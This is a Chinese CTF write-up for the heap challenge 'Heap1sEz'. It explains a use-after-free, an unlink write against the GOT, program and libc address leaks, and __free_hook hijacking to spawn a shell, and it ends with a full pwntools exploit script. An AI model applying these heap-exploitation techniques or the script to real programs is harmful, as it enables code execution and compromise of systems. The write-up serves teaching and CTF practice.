Heap1sEz - 堆漏洞的简单利用

堆的内部结构

在程序的执行过程中,我们称由 malloc 申请的内存为 chunk 。这块内存在 ptmalloc 内部用 malloc_chunk 结构体来表示。

/*
  This struct declaration is misleading (but accurate and necessary).
  It declares a "view" into memory allowing access to necessary
  fields at known offsets from a given base. See explanation below.
*/
struct malloc_chunk {

  INTERNAL_SIZE_T      prev_size;  /* Size of previous chunk (if free).  */
  INTERNAL_SIZE_T      size;       /* Size in bytes, including overhead. */

  struct malloc_chunk* fd;         /* double links -- used only if free. */
  struct malloc_chunk* bk;

  /* Only used for large blocks: pointer to next larger size.  */
  struct malloc_chunk* fd_nextsize; /* double links -- used only if free. */
  struct malloc_chunk* bk_nextsize;
};

关于堆的结构很重要的一点在于,其使用和 free 状态下的结构一致,只是相应功能有区别。例如使用时 fd 段用于存储数据,可以通过某些方法把不合法的数据写入一个 free chunk 的 fd 中。

程序分析

checksec

程序开启了 PIE 保护

程序运行

源码分析

程序主要由 gift , add , edit , show , delete 几个函数构成。其中 gift 函数直接让我们可以进行 __free_hook 劫持。

void gift(){
    printf("give me a hook\n");
    if (scanf("%p", &hook) <= 0)
        _exit(1);
}

因此考虑通过 __free_hook 劫持执行 system('/bin/sh') 得到 shell。

delete 函数中给定内存块被释放,但是对应的指针没有被设置为 NULL,存在 Use After Free 漏洞。

void delete() {
    unsigned int index;

    printf("Index: ");
    scanf("%u", &index);
    if (index >= 16) {
        printf("There are only 16 pages in this notebook.\n");
        return;
    }

    if (notes[index] == NULL) {
        printf("Page not found.\n");
        return;
    }

    free(notes[index]); //没有置空
    return;
}

攻击流程

泄露程序基址

由于程序打开了 PIE,导致程序运行时加载基址不确定。但是由于程序中的偏移仍然不变,我们首先需要泄露程序中 .text , .data 或者 .bss 中的地址来计算程序基址。这里选择 main_arena 进行泄露,因为通过 Unsorted Bin 的机制会很容易得到。

申请两个大小为 8 的 chunk,分别为 1、2, 然后释放后放入 Unsorted Bin。这里 chunk1 的 fd 就会指向某个与 main_arena 有关的地址。经过动态调试得知, 它指向 &main_arena - 0x08

不过目前我还不明白,为什么只有一个 chunk 的时候无法泄露出地址,可能是只有一个 chunk 的时候只需要在 main_arena.bins 中存储相关指针即可。

泄露 libc 基址

得到程序基址后,为了得到 system 函数的地址,还需要获得 libc 基址。而程序中唯一可利用的输出函数位于 show 函数中

void show() {
    unsigned int index;

    printf("Index: ");
    scanf("%u", &index);
    if (index >= 16) {
        printf("There are only 16 pages in this notebook.\n");
        return;
    }

    if (notes[index] == NULL) {
        printf("Page not found.\n");
        return;
    }

    puts(notes[index]); //可以利用

    return;
}

我们需要尝试将 notes[index] 修改为一个 got 表中的值,例如 read@got[plt]

unlink_chunk (mchunkptr p)
{
  if (chunksize (p) != prev_size (next_chunk (p)))
    malloc_printerr ("corrupted size vs. prev_size");

  mchunkptr fd = p->fd;                                                 
  mchunkptr bk = p->bk;

  //if (__builtin_expect (fd->bk != p || bk->fd != p, 0))
    //malloc_printerr ("corrupted double-linked list");

  fd->bk = bk;
  bk->fd = fd;
}
  • FD=P->fd = target addr - 0x18
  • BK=P->bk = expect value
  • FD->bk = BK,即 *(target addr- 0x18+ 0x18)=BK=expect value
  • BK->fd = FD,即 *(expect value +0x10) = FD = target addr- 0x18

在 64 位程序里,chunk 每个字段占 8 个字节。

由于程序中存在 UAF 漏洞,只需要申请两个 chunk,大小为 16(或者更大)。删除 chunk1 后编辑 chunk1 覆盖 fd, bk 的值,随后删除 chunk2。此时会发生前向合并,执行 unlink 相关代码。

不过这里在测试时发生了段错误,如下图:

后来发现是因为 got 表中 <read@got[plt]+0x10> 的值被修改了,而这个位置恰好存储 __printf_chk 函数的地址,导致程序意外跳转到了一个不可执行的位置。所以尝试泄露其他 libc 函数的地址,并且在它后 0x10 处的函数不会在后面的攻击过程中执行。

.got

执行 system('/bin/sh')

传参

观察 __free_hook 相关的代码,可以发现

void delete() {
    //...
    free(notes[index]);
    return;
}
void free(void *mem)
{
  mchunkptr p;                 /* chunk corresponding to mem */
  INTERNAL_SIZE_T size;        /* its size */
  mchunkptr nextchunk;         /* next contiguous chunk */
  INTERNAL_SIZE_T nextsize;    /* its size */
  int nextinuse;               /* true if nextchunk is used */
  INTERNAL_SIZE_T prevsize;    /* size of previous contiguous chunk */
  mchunkptr bck;               /* misc temp for linking */
  mchunkptr fwd;               /* misc temp for linking */
  if (__builtin_expect (hook != NULL, 0))
  {
    (*hook)(mem);
    return;
  }
    //...

只需要将 mem 对应的位置修改为 '/bin/sh' 即可,而使用程序中自带的 edit 功能就能实现。

__free_hook 劫持

这题直接提供了后门函数 gift 用于修改 &hook 上的值。

exp

from pwn import *
context.log_level = "debug"
context.arch = "amd64" 
libc = ELF("./libc.so.6")
p = process("./vuln")
#p = remote("182.202.178.28",31639)
#gdb.attach(p)
def add(index,size):
    p.sendline(b"1")
    p.sendlineafter("Index:",str(index))
    p.sendlineafter("Size: ",str(size))
def dele(index):
    p.sendline(b"2")
    p.sendlineafter("Index:",str(index))
def edit(index,content):
    p.sendline(b"3")
    p.sendlineafter("Index:",str(index))    
    p.sendlineafter("Content: ",content)
def show(index):
    p.sendline(b"4")
    p.sendlineafter("Index:",str(index))
add(2,8)
add(3,8)
dele(2)
dele(3)
show(2)
bss_addr = u64(p.recvuntil('\x0a\x77\x65',drop=True)[-6:].ljust(8, b'\x00'))
elfbase = bss_addr + 0x8 - 0x3810
print("bss:",hex(bss_addr))
note = elfbase + 0x3880
puts = elfbase + 0x3768
add(0,16)
add(1,16)
dele(0)
edit(0,p64(note-0x18)+p64(puts))
dele(1)
show(0)
puts_addr = u64(p.recvuntil('\x0a\x77\x65',drop=True)[-6:].ljust(8, b'\x00'))
libc_base = puts_addr - libc.sym["puts"]
sys_addr = libc_base + libc.sym["system"]
add(6,8)
edit(6,b"/bin/sh")
p.sendline(b"6")
p.sendlineafter(b"give me a hook\n",hex(sys_addr))
dele(6)
p.interactive()